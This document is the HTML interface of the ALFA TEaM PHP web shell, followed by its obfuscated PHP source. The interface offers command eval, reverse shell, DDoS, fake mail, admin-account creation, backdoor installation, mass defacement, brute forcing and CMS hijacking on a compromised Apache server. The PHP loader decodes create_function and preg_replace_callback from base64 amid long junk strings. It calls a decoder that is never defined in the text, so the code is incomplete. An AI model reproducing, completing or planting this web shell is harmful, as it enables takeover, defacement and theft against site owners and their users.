</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><center><a href="http://zone-h.org/archive/notifier=ALFA%20TEaM%202012" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad &amp; Invisible</font></span></a></center></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" href="javascript:void(0);" onclick="g(&quot;FilesMan&quot;,&quot;/&quot;)">/</a><a class="header_pwd" href="javascript:void(0);" onclick="g(&quot;FilesMan&quot;,&quot;/var/&quot;)">var/</a><a class="header_pwd" href="javascript:void(0);" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/&quot;)">www/</a><a class="header_pwd" href="javascript:void(0);" onclick="g(&quot;FilesMan&quot;,&quot;/var/www/html/&quot;)">html/</a> </span><a href="javascript:void(0);" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a><a href="javascript:void(0);" onclick="path_history('back');"><span class="back_shell">[ BACK ]</span></a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('FilesMan',null,'','','');">Home</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('proc',null,'','','');">Process</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('phpeval',null,'','','');">Eval</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('sql',null,'','','');">SQL Manager</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('dumper',null,'','','');">Mysql Dumper</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('hash',null,'','','');">En-Decoder</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('connect',null,'','','');">BC</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('ssh2',null,'','','');">SSH2</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('zoneh',null,'','','');">ZONE-H</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('dos',null,'','','');">DDOS</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('safe',null,'','','');">ByPasser</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('cgishell',null,'','','');">Cgi Shell</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('ssiShell',null,'','','');">SSI SHELL</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('cpcrack',null,'','','');">Hash Tools</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('portscanner',null,'','','');">Port Scaner</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('basedir',null,'','','');">Open BaseDir</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('mail',null,'','','');">Fake Mail</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('ziper',null,'','','');">Compressor</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('IndexChanger',null,'','','');">Index Changer</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('pwchanger',null,'','','');">Add New Admin</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('ShellInjectors',null,'','','');">Shell Injectors</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('php2xml',null,'','','');">PHP2XML</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('cloudflare',null,'','','');">CloudFlare</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('Whmcs',null,'','','');">Whmcs DeCoder</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('symlink',null,'','','');">Symlink</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('MassDefacer',null,'','','');">Mass Defacer</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('Crackers',null,'','','');">BruteForcer</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('searcher',null,'','','');">Searcher</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('cmshijacker',null,'','','');">CMS Hijacker</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('remotedl',null,'','','');">Remote Upload</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('inbackdoor',null,'','','');">Install BackDoor</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('whois',null,'','','');">Whois</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('settings',null,'','','');">Alfa Settings</a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('plus',null,'','','');"><span class="alfa_plus">Alfa +</span></a></li>
<li><a href="javascript:void(0);" class="menu_options" onclick="g('selfrm',null,'','','');">Remove Shell</a></li>
</ul></div><script>alfa1_=alfa2_=alfa3_=""</script><div class="ajaxarea"><div class="header"><form onsubmit="fc(this);return false;" name="files" method="post"><table width="100%" class="main" cellspacing="0" cellpadding="2"><tbody><tr><th width="13px"><div class="myCheckbox" style="padding-left:0px;"><input type="checkbox" id="mchk" onclick="checkBox();" class="chkbx"><label for="mchk"></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr></tbody></table></form></div></div></div></body></html>

Original PHP code

<?php  

  /*
  Obfuscation provided by GladiusPHP - Free Online PHP Obfuscator: https://gladiusphp.com/
  */
  
$b64x='MAEPFSwWXuruCgVkdkFvbbXQVpMqzXPKWtzCKVXgOnZqTVZWfEsGfpVAcHqadELawJCgdzMRlMGfHfbliSRNgMnIScJWGTWbCXHGVuWGfcLMhmxqendLzQSQSaMXThywEfBzYWfdyqpFbLvGyXQwNIleJYBbFYWjDxIBTmdrcswDCQizNyUZGgDpedPJbMsFIaFBMJsOANRCDZaPXVODbrrFufNURfYAFEArMRFlEwNGUnvRiiuJYjnsqAMGFjfJNfAYWeKaZWGtjbksJda';
$dcrpt='vtZvENvOTeQHVwtmDBOcZNNMRysdCutXlRsPdlcWqsDLNwxqwktvYFgpCYseRjBcBsREctatLcDyyZnTjfOHjuWkRNOIxpjXfaBiTaaEdDBBCnUkShSbBnmSaAZWpjTuJUCCUCFxeGYfTSrMZimZwYrVzrSNAkgiEikYKpvpUSuOjjZIRlhmKyIiOZvNJawNifktuFgpXAcgjBPalWNVuvDITXUCyqpfvzXPEdDBdeHmFVmQRZMLTOtMMMpJccOWbMkFpNFsRLEwHRMXqXIjLAVWmJFOMTjmevRtHVkzGOuMeFjUCRdNRYJDhOQtgZFKTVCBQMzVashEXryYHBLyZUAghqznPDxIyYInLgIkzpOVFmtmmEjlXjRezPRNsnwPldCwKKfIYUDEgvqSYYeVhVZgLqTCDpspSTjCDqjCJlFpGugFskZAGzfQOYsRNiFecOGeDpfLAjZfDgjVQjUVIZLVxDMjLrNmFtRHHwtGGsliXvDOdxikVugtWsbgiPTNHjuOFMTKeetBZVpcSXNNrtFMKgSSvkeBuzpZkiiOMBqLxdnpaaBrtGCCMvvGezgzxwXhdfVPHKBDnOrnnReGWGhhAbNFaUDxPZESeZgkJHmWUDKhUONQTvYTVLyVeAtTzWkcVsneYAatdjAxXNmrHKjCVgyZGQtelDgHUTktukLWUKSRxeHdpQGJWDhbSAfddMjxFuPyeZTYKLpgqWKdlPMisTjjuPMWBwtFPIDTHwrrhGXWCgZmVLvMEevxtGttblXRTAjAwBRcGnYHuXTphpALSUiKZacblzsezBFUBVWgiUNCrgqyvpIMIqwHrXIbwzgUAkOAFKHNdTOuZDrTRZezpZFeWNgtlmmkWBLBKsNnKaHjcyCtxHrkGVqDIwvuhHEdHOdsfqFqPLYRiAjeGAqmUFpcAJVHPzjxNmnSbSHQcFHLFqPkPEWiIkkhtfOieXeRJsiKJqAkuGVYVkJjnFtWQcDiIsQMOucXLKHTZHeTmzRiiAsxFjtvmVcUMtfaMHXXrEQrkuJytAfBAWXegPYSkAlWSrweXtbNxrDHklEDliDLfBpLPMczlnVEdrIAKiMgzqmiBrLMzpWdpknDwqchcXkFnsExArDyGqHgGRtEFpITZVWULYbNvlthcwFCMHAsWGYbxQGcEnvDIrySOYGIKyQMTvOfbnxYtUZPjeRORMrZC';
$str_rot13='YnWfOTWpUQSPOepsIMUhGagDmzncJmFgBaMOUhdnXVDMzrDgdxOiXukjtyMBkrHkQtYKAbyyxAJvQlCThPbeIlOajABuqiEfBbqbDmYZMHTCsvwzJWdsiRssrTkfBnkbpZCRlAqXGjAXdvWNrZEYQVPGnzLOMvqbURsfRIdWRcuuWqgMOjkdfzJSYTgKNwkHMDmcKqZaRtumhayVjIyOhGgfYmpLhZStbewLTUkjMEwtdTnNbkBiQHNOtbYAaQTbuOlmIwVTAQlcjYPkirtYxFMQGjqgaIHTwtgdnBwmsHqBFeLNUDkshWhmGWtGFAzASedFfzSxghXLlhYGKiXrFEDkZwqdvnEMtHryFiuLqrWbXUHgCdxgHzQfufjOumZltriXzCipseqpywUzzQGFpVKibtwvFwfxlnvKPDyggmUdIOCGEHksDvAdNwXSrcpCqilekKKrWEueRwKvcvlePlhbHetXghzwqjZBtirPlLTcGcWIximLTumAzeWFlvBCdZCxiSlTcEwIGsQDZcNswzRUENZPHAQLYshGkSAMwVvBMKDlMrDHPUbSHaIOZyzxQf';
$rENAh = 26+7+3+5;$HBbEX="MRiTxMYfEUqlCcIAtmOSMWNBJNhdyYtjqBDMnBsrUgCwiKvBwithFFh";$zWSReQz="JmVEvUnDpesAwSyTNsMyRZfgrltPSmvaZPETKrwywOXrfwksNwpevTklfDaxpVynjBHtScRNQndvJnlWKBaEuKpYMPwAjT";$TGP="OSIGKS";$iqmGz="LmAMHXTCKTAGttccnIJZfsfhxJHQSYQDlqOsNhtWaTDtle";$tJ="BpytFgDYfWIwEMrMMkbVVgvdRwEiSzZtmxksDOqij";$hrt="RnwqGFgDYUUdJGcmLvJ";$HcXBhJ = gqGXfYe('nkCQJgI1Qi91Q', $rENAh, 'G25M KjuU7_DleJ8V1E49kcbsfhZ,AB/YNFxHrO.P06tqdSpoa:I!XQzmvyRgWwinCT3L');$hEhDAulAUr="PsgyWnKmxUChZsQmuaJZivyFUOGNOzhcrnBMbKYyFZe";$CzeGW="jgdxdJzDAxMTWrqSJbJJuDeGcqCHOmSXSVUwFtYEpKXlAmDinlrIPVNrkpYybQVtlPOqhMtVVqgvD";$CTVEC="MXOzvWIfVfvBGKCaltZFgwSjQHPiiZRuxesRAzwwFQwKaYklQjrWe";$qbPxK = $HcXBhJ("Y3JlYXRlX2Z1bmN0aW9u");$HbrcTefVqb="GTlBvMrHMOnKKvDAcrSeMFtGnultuIszBEaWPQDBFqKpjnnldfrPjJUycfQxmhV";$PhgARO="eVnbFDekrOe";$YphwKcquKt = $HcXBhJ;$BdnyhT="qlyJQmEJiyAjuiNiTCsRZDSgYTTtlEDBqbJFNmnvK";$CKKplJ="FyJwPtCmvMUdhMvkKdfuyMaSYhMrWwdBtMWHEyTYJNCqAwaJzfdXrDppL";$RqghLVC="xeRRRfHlBdMIziPrREiFZzsNeGjEFvcbYTTqyZBydMfbv";$qyepNfcKF="BzfNTIiGqRFRKEbpUDKvSUpKDJSP";$Gi="ITQfJqwgQOkQDpjzuVglRCJLnQMnwQfdKVISkeza";$CsS="GWHyyYYceGKKncGJQcwWPcFuYUCpnWRtsYQPWpRAUajhcqqssMpGnTzMNBa";$iFKEXcj="HQ";$rEnzCSx="jgdQSQxVSQlyQxxpRDZzs";$bO="rAVQigeV";$nD="hlDUADSMDEGqPSamXvYvHpyRtDbKz";$tzTVXlH = $YphwKcquKt("cGFjaw==");$EeKIQr="JrJGfyXazPPVaRUbcgLldqWA";$PL="QFrlucTGxiKsAWslBBvcEFhwwApszhtPMJaFLukhbvYBQrlrRHtULZqGZdXXkqlxYmbifMPggOgWetMvzE";$kBeT="sZrLJTOifVkSTBcEJyppEgbmEOjdJTwBSNlbfZjluTDNuFr";$tFRPvmLDmf="IcWfcbskGOCuSYmxPAPYOTBIOaLlWNWEPSiRtABZnctfAfbpFQMSiNBw";$MsQjD="JeNBv";$SJLRVl="mmTLqmISWfeMYrnbeDnLF";$pkaQUbqZhy="EQJGVNDCcdXAAPlwEvChqcgxVydnAvZElJjgVMIXPeXOtIjXClESNjOIHSvHmukyCudWfk";$mvyg="xhcXnETnDJWO";$uWnLM="rGHxfmSPtgbMNHpZkHTFKBvLysalAhrQNYNTKFhDLIpYOE";$tgC="CLYeuJKFelmaEtpNJDEaZzcGbAdXkuANezRyHaCLmnkqGzCqbfPAErfFqjbBcCNgaddHdeRqtbFYBHNbMCbQsgUIPWiRyv";$fknRz = $YphwKcquKt;$WL="KIhpLtIwCswBdMQpgJvBrIGuRAFWtdSDLZRWRAsTrnuUZj";$WsniB="wCbAtHuknO";$axnFeV="C";$PyJVsSHN = $HcXBhJ("cHJlZ19yZXBsYWNlX2NhbGxiYWNr");$SVOuB="clgaHWjZAVdOTVxFiwFsGJtGaFRkDUReFXflTOKTJNHDiDhrYmidvBjUFafhvWMZtRLLFvEOIKQQnxgLiOpDpX";$QIrzG="TqergajZcKiSb";$zfclhkLjw="tNxsNNgWypzKwZvIyCVZJpQtSnIgfQkXDgOQuUMRjKaeJvNGWIFewV";$ghHNhD = $fknRz;$b64x='gMAVEqjlPGUmDeAgyjeamlyfFBcUqXVWKVrNkZYzftMIxLnUURUgcsLHsNagkWcURSgBSeaXxletWRmqJGVkxGsOTsVDnxWEPcFgGFDDQgVlXIBfnVrkaIytZSVNqRQETvKZZMCPSxApeavSvLcwtAOstKehBVLUqUtPfUdXrElVEfNZQpUiOIBGseNtzXMPredwYgSOKEJpJVNAjHhyOhdGmrYkNjzENCzkJsYtvhgdCTcMZkjnRMTDCrOqZmTMPsWyiuQDaXgDqiOPSxcKivmLLaAKnSwCjRZSKpvLLBNbjBqbXRLFlyPWXpfkgalQRkIaZCkKDXLMXAmUryZCVOySDcDicOYtzfuyhEhKbtVYShtjFsLZfJSIkUrnhpGGUzDBdLkeDFCvlUdRlpqRXHYHBpUJdBOXzsyCChfelIzxCcNnrdeNKcuLspuvphRNzOPavuEGBDCDFqQVSUICwBMmPfgDNXQLkelFyPKZsmCWbsrTLyUGZHTnMZRYxgKHkvMhjwgChhXiYObilWPkcIzOgPmcvWjerVlZQtayAyGYlhgxDVhFcfSJueLOAUSqpdqFVPcVmhTypZvRvCwxHpfatrntkfIZIxEEmfzzmRxCQRtktphzcMzvclmnrVMYsqbdvZcgQzIgPBQHPXfrKdLMpyzFtKcjzEnTDPATnhZchPJwNnMWrXhFvgJmQkwqOiIRXhKKPJMWXUtjhefybNCwTKIJVEYilgZjnitcRfZPzsyHVEExrGSJqasKdQTpWsXJBrMsVkGTbeZWhdtXJLfYkxJNMbbhtzRTpcLJmrCNUbJBeCXNMckwZtiLuJtNhjfVLQdxHGjagsCktzXebHAaahkTRDGylMTWbWSICbJIuKsMiOrJwqJVyUOOWUlIfeEgbWPcXXkQHbcpQtYlIggFAUtxneetIhAidOLBLvrswtGlLdWTkCXKWQgjUKDCSCkvqVVaPmRkeWWQaSikvfUQVBZpkCrCDBXSVSsKEiUJfqYFiGPcLJSgJrUUTkwVkSOfkfpnOJWtYuXGZMIkUZQErKXJvtEFLRkVXzikhFDgyZMyLUIetXhJHeRbXwgIMrcJPKtxOvDmuOKEIRJbOQjUvbWsWczISBRHKJdzefkyUUCbkkCyAMsumNLipjqgjGnuqQSuWcrqwSrfCtDCeuVrhgYwPNcZuqSifKCBlsQgkHllZnNDHitOpQKdDMCwbuEGDFHnxxuHDesbRfdznwMbLVeOHgjhAnnDsUQOQKUTnmufRydEtpFeKiSQOBYOnLrGeGTUqOmdAHIQeLTxzXaifSZuTxhgHyMLDfeTtswSYdhCnaYMXzvCruVJqcQWZbHDgLVzCrQAuxbHxASTYmwOGryVTNrSOXvviqtKfJkzfLFcKyVhKrWQhTkaGCsTYNNgCgRIPBGuLLwwisDshYHprSpwTgPRTCYUIpbWphrZSMUAdXRlvzZMQOHiUwZmYxgGkIczPtzgeSGIPxtkvRwKFcSYzskWnRbzzdXNwVTanYhcUZMPqhzVKRTIIEEVveutiRFdlXDzVjCPINEYVDTeulMBpPwJTqBBgfFRCHrxRsMYeqWzspDkBOLPchYWxYxcEBtfIJcYAOWeDTDVhGfhTRxWyUSuSOwwPObWXdUWrQaTiEOQJuxCkTXImPbfdWasjBnGEhDuxDnfGBVpUsrELnlXDMCfhcWRDjxHQzaMcNRhplWIdmmOZXkbjmgQOcHQLExBcXnEjEMXQIGTusgSOQUXCaOqDvgnycpBzbeJFqGUxLmqCSirJCnKCBaEwGSTIgThhYQlNVgKgtZILHyuiMDkMDOhiGBrluySRNeFhKpnCNwmvTfDeJNRLCyuHyKtSHkiuONaXBOAOjMiCskgaYxkZUEfSnXjuisNwFnufbTTKeBlwMRVjnGIIjNAXLJrtaEnFRHksZDbEeMzQEUzRAgzJtyfdgxVHAjlQqwhPZItDTrtWkrnKxlTPKytqunWTWiJMdqBcxTerJxmUmZdJlwYVUQkn';
$dcrpt='FubmrFbBgTTHEceicOdDmgvppfxqPJQvdrguVHUBBmhepmMRAQulwOZKtwzifpciGibaQwCQIiuxvgnuwgFRvebNAAvePxMUfOUvJVkreENYjASFHWWbaXnaWJekFReKezEmuODXSQwBPngwjCWkYkkUtOfXejhIhLUbZXYRmuRbgXyrYTaWdKRwyWucFBKNLFOKblanfSplplCnfbjiLAeJVXLByvNIzatZLtmQKbcZmdMsfVaqVeYQbiQYdcGCCyCnrnDapFZCiLtNgScBWbrxJHUMJaplXqYnDBpsGNtnzLaeEcFZDvWmbqYkqMVnBTBETpVYcnLByLeBniBQDWCelBpCMjpnCpRvEMTGzEGWPKXcSysUTUYeUMfGVutWJjRMvKstNXPCgMdyJwsCqQfJblpxehtmrjYltqEgmShSElqmgInwXueYeSviZOwQxubQKewwXcpaNENTLAOhTSgXkaGjnbzLvZaEeVABXnakrNdcnSJGjPdTqJDDKbNEbNiFIIFfVFqlSSNfjxkTLnMawpdfrQKREsVLzAqueeeWXSBGOlzzzLZvzcApSJfVAaHYAwReBWAynBDBMCzKmyeLZeAsmFmmftkePCiqXimKiPkUQidcgInflNxXRKjWCUbrVJGSrSCzhlSXuWAAdmfOzCLqLvMnpmEjVKBMbckINdfGzFGbrLPPMAEyuqkIbnrxXRizttgFVllTqRUGCJUnJzkcnvkqJaMfsUEKMLPIwaBMRVRSEMFMkQPXKzmSzyyQsbaelPlIPlTfgKxkwbWfrkdBiPSInqXesXiclTjafcFLmbVhDsntCQTLFMSSbPXSmFvyYEYDgDnteJAgamzbctMhEdzetwxFBRCYvABaDntgWtmwFLyhDJpGNNLfJhjJyLHSlHtnULurDGMiQJqTtdzFQJKzqthNdnfOUybpiUFlZQuQAiislgWBQGafyHTBVyqPVQDDLHOKyhZxPhOApjbEpbJMhbmczbsusUxcCklzSlvHSIHGRIjfitRquDtteKlwdIXFTiDkTXRMeXsVFbAmuQDmTvFXErtHyPMQXOaRMscqpTlUUkGnbiaUcFRGvJNTyYJUMKkXbMnqGzJZiqNjXNdaRufmCsfzqnucxdZyQmnVkwUuLHciTGILZNXbfCAvPtWmxwjMIWgttalDhNLatSkSGhTkiSeYlBKhWttEqzwIYgkfUwGMnQEtyxcGqhdaINhEGAHVyDcwiMbchgPVwSNTqQZexcEEqLHVKNqhPsDYdEALjOGGHSzwIyAEaDHqnnKxBZdqrGnTKnETbJzICydJvcnvFUjsITnisrXhxLbgYezZOyhqvkYPNLKRftjmMxvdORLkCMQZqOzdLGSfqrvcbEUGWDSIzMlmEWWFhlFxADakiSQyiKaKnuqJwI';
$str_rot13='ajqugUkgvRRqugnKsSnZUwmNbKdDePgEyVxEpHkJYbYRHLCZcpYXjLjlUmnybTbznzDbFNjcnhuVsVUuJSrTcBEWNrupjwmWupXybgaqNukeOEyxVpqYptUBJppsjbncqkZsQZgDtQgguedpStmGMHgUvVmEWAGlkFcaeidxyJdrNgGeYsKjYretlrwhQBSAGVBKDdGBMJRZpWdnpnxMEaFprAwHbNgHIgQLjwlwFCvTzXGNKDYnDcCuDxaEkgKsnZCWvmszPlSnjyAtaXHdaIxDfWGPcPGPOiMIUDHJPzwyWvQxtxZSFVUjRZYTOdibLuiGWPOLnkiKFzGxvFpZAiirhGJvKrVvKEaHtPRgzaqDYVatZOtzxBpdhxYROTLXxMEqawVzVkbTFBlEqdcMF';
$b64x='QBMYEMFKzOFcOpKjkgNXuvhXISbSgdlWdXuHizRhmwjaLtjvzwstRAqYRRqXUCuxzNeILvpxQyyargUpDmHTMxRcnGaHhTdgfHnRbCnszkRPRMeTYkMjHcLUIkaqdewjLJANKmEiXvYOgCHEMSmuuYNBiOqmSLVcTUpDGSMDNjQTkWXWnjPHhDIQQXChiWjbQzeVQQzDzOWJLTeYCUfKWNZMKBTSxCuMayHrNfTLUPuehycKRHTNuSzEtRVpuOaTlHjymDiGsbjZZlJQtbElTCPLukzNYzGKFQHrtqWjrfiPRrGjsJvKkKUEutQsRxBWMimEXJNnOwDeliNdrINBRIFkavbsRDnckZGHITuWpWAZEncUvQwlXAVXUWOlYbnIBupimJeaFeZjscDlSyxPXslsNacMBPTbiikvrOvvSvdJWHUneQCCHNTUmVfOKYPTGzNWNiRecUnYBHLfymHEZAyMUDAEbOWHNKdAsUdTnrrpYbuVnazMZxytzXWAltHYCKXTdaMrscFqdykQXJCWFapexLdIDKGeTDXWEiNVKRKmqUcmcEJIdxlBHpijZPnsRKOUSBPCRznGSqtVubcxXnXFCgOavCtLlgGegUfxTTdLiwfbWhztvVXXblxVmPHyvMbaGHyzAaKIwPKRXIjsDHOeslzEAfbVrDVXjSVJSFQNvAEsHniKuxOLImOHSpCiRXFapBJhfAUZzYQGLZqEwDODPCjgQlPhIuhWurDAqXYnVPTfnIJikxLAyuGNevUMpCiIsLHgIGucUNhhvqqflAFJTkxyfQjTRRaiDIpkNiNgVUnPKcUVCzFUjBsOrbHISHQvOFfaNSghluWVwrrxpvsyViLLjRtCzJWMnBNaSthEmDYhTpFiJwfEERPnIhPGqktDlFDdxjHJNGRfuwndrugukVgsDVYSGQwRUyurhbaUgrZAlNDCgjvQeChgxFzCUUtORNFYnFsTvRtGEwHjFbziDfqALObFhUTyHyWuCnmWEeCHAIQEJONmUCMePmJwgbTmzPGADswGxxnweDAnsMALNLPCxXXEZqQyFWyHNTMJQZfUceHTQgEcrtEOqaROPHMTcjAQcmzSLdmmHtfWAiYqBbDrbuerbQjDZjSCVsTGUFtCYyyXHxmHyQXZjCPKsYNRHFtCwLIrraspXPldLXLJmhhWiWGauSRbyJDTuKJKKayhqikaGviSDqOLlUkGMbHjjJDETlNDmLjbTvbzPKRRZFcLzmrlOxUXFxayJOBvzKwREWQTGHKfLlQkYGVMCpJgMjevXepVOKlSGbLMhURTggDEMXqnlyTXHxRdBfyPpKHvkRgtLxLrDNUpKJbvhuSnRisspPGcYmxjDcbpzleBYzphhqCOjTCactRQhySGjPPNRqBQBerYDGfkvgYdaZdcsvSZsjFBYTNqInfiSVgvaLFVrdYrccSUWjTnTyORQbGyOLfGgLbgwfbMIaDkCUeyEXLxUYNjZuHOEMuKxUrsasDhRfstAwQdSaZlzMvXFBLjmFtiYJAYbDGShXLHTajkBixZvrWZShiEMCNKkMiLOOdWkODdnmOOvkNPaKPSRxWcyiliUTTJHwesJHUXTILOsYcthrkyOgAlpkuJeNRkiVCsbxpvezixxkpdCYBPfAATLubpgszOMbfnyTIbtqXpZlSaktPPtqhdJJspaqCmrIAnaH';
$dcrpt='ZMHmGRStzZIzMdCvCaeTnOAvNqRVWcIWnOIUFBMeZTcLWEFydJQQyQkKfbFcEMyrAfkFfWiEpkOkntiQcYGZOqJURNwvzTLyywCdRKHgUwQHOYWQXCpksXeijZDhsNfQIHtAsZfLvVtjuOzrrnBIkfqUesbWeglNOEMfDRqylhgFWFvmswuDBJWeaXaEELQRpCwSSLqETwiPAEBSZuUZcQdCmEFqpVgdxCVPnKtgFavEEVwcpPbQeFRRIVgwQnzNpTCCcuhHublywgZKwbZAfqrmlXhBKHnYZpacIHiCJTZeaYpVzNvddlPOIXpsdDPCRPdZxmBFfZiFxxAwkvYnfOBNLPEnstPjiTIefiiKHrPDOOYyIXkmkLZVADISWxBEqIhUqqeWGtzTGXQOUaaekazLcgcyccBSKIMZxqvdhTwOqmCJMCmXbLhErjbulDlvKxThmnKuGFHWRIFdKSakchOuQQmBSXVCTOifBSZgyfCOnhrXzrhaXwTmLfNDChEwvNaVezCbedqsKGOixvjuQCHBITDJbhewuFRyDtAHwPYgUMOrhxLXZRYgjBPkhugByXZaqYIkmfrgsFyzBIVAYTfhUVSbOYDlvblKztukYkQqPNOqUiqSCvAwPsWDPzOjZAtXsMhqWYFkLSBGbqXcKxXAnTccSrLRqdPHqwxLubWFuWKULHWvETuRMWuEmEVChjIxFeHzGDDZYmTJtpEwhXNtTgxFKRGRaONeSvcyxFWwrpEjDhFjFscyXzDhqiyPWLtpfwlbAIWRWBAZheIMWKKtimAXUylriFeNaqnZXkqukPSsuAEqknhSAhQTFbjmfNzFdMFAwUtGjkyDLbsVpzNnGcGkEQWJcUOfHtfCMyIVJfXTGpOuOaHuDMegbapeVcjbUOcgmKBvpznUNBNBBTvdGzJHYYLtAvTUiWAUfapvYbOMCCMDvGfAEPhDmSvlmpfVKFPpfeidFXphYBKSgptkdZNqRHCEVgzelnurRCTxYIEwiNpObgYFfkuwSVZmCyRNlKDcLwzKDCFLOtZQzxUdInAZjzlkxCxIlZjXUJgyKLIzeHOcEIglVfKEdvOZXkHIJrFEzkBiwigZqUbTbHEXMnaqhppeYwNIMRLkClSXTZWitxbveFRqsrFAFuddPqkahvkJGCfzabhuyinbnEseUwEZPhcdxmddHnMMqrKqsrJqZwrmZhQuEUtSbUWygZCmNNyceHRVYakXwbJViYplSHetBARgzSSLePmIwedTeNqZOyUXxiippMIPlYvkqmVTBICxMeqqRfpGDJcZrKOGxVUhTqsIbNBDvCZGGOVyTJDxRFVipJnkEhtWWjEYwFaqgzVmmqjGzMCqQxXegkPjtHgpQjMMOlbvKxHxlqcKBEAraxUGhJQZqwNGFAsuLSOVpUsaJuKjxJZWGTDNcSMRnYWSyNlJGzdu';
$str_rot13='DfQuBQUZGwkYCCylpYvzbzLeDlaKrhkUmbNmrHmWdWUFysqlQKkRIVvlGvvxbGQpgDaxjMuMInQFffrVpBlXVGiBAcXCINqOPqlzcekjsBpWfFRvfcRahZaIByJjKyxANhYplIYEImZORRIwtzwaXVhytQgdnEDAkapxImArYzEpPlKIjFIgAPdteKwRNyrXyeuFQtvOSYcHJlOSQwyQKbiOLEeyBVvYZpcQHyEYVgfFsTWIqUyzVfnGiRDJMXgMLibtferbkwGcPbKeVHDQMqVuHyctVIEGqFywKpxUKCwzDfczlfOxUjQBHsubZXIqDfLMTHfEiCCkgeitJXpDgfEmxXpWuwlwaWhUcnXkPzUVcdNLAcOfHRsDnfzHBKdCfkVhySRMQMhTpUdOwrTChKfvqEcQOFRtPMB';
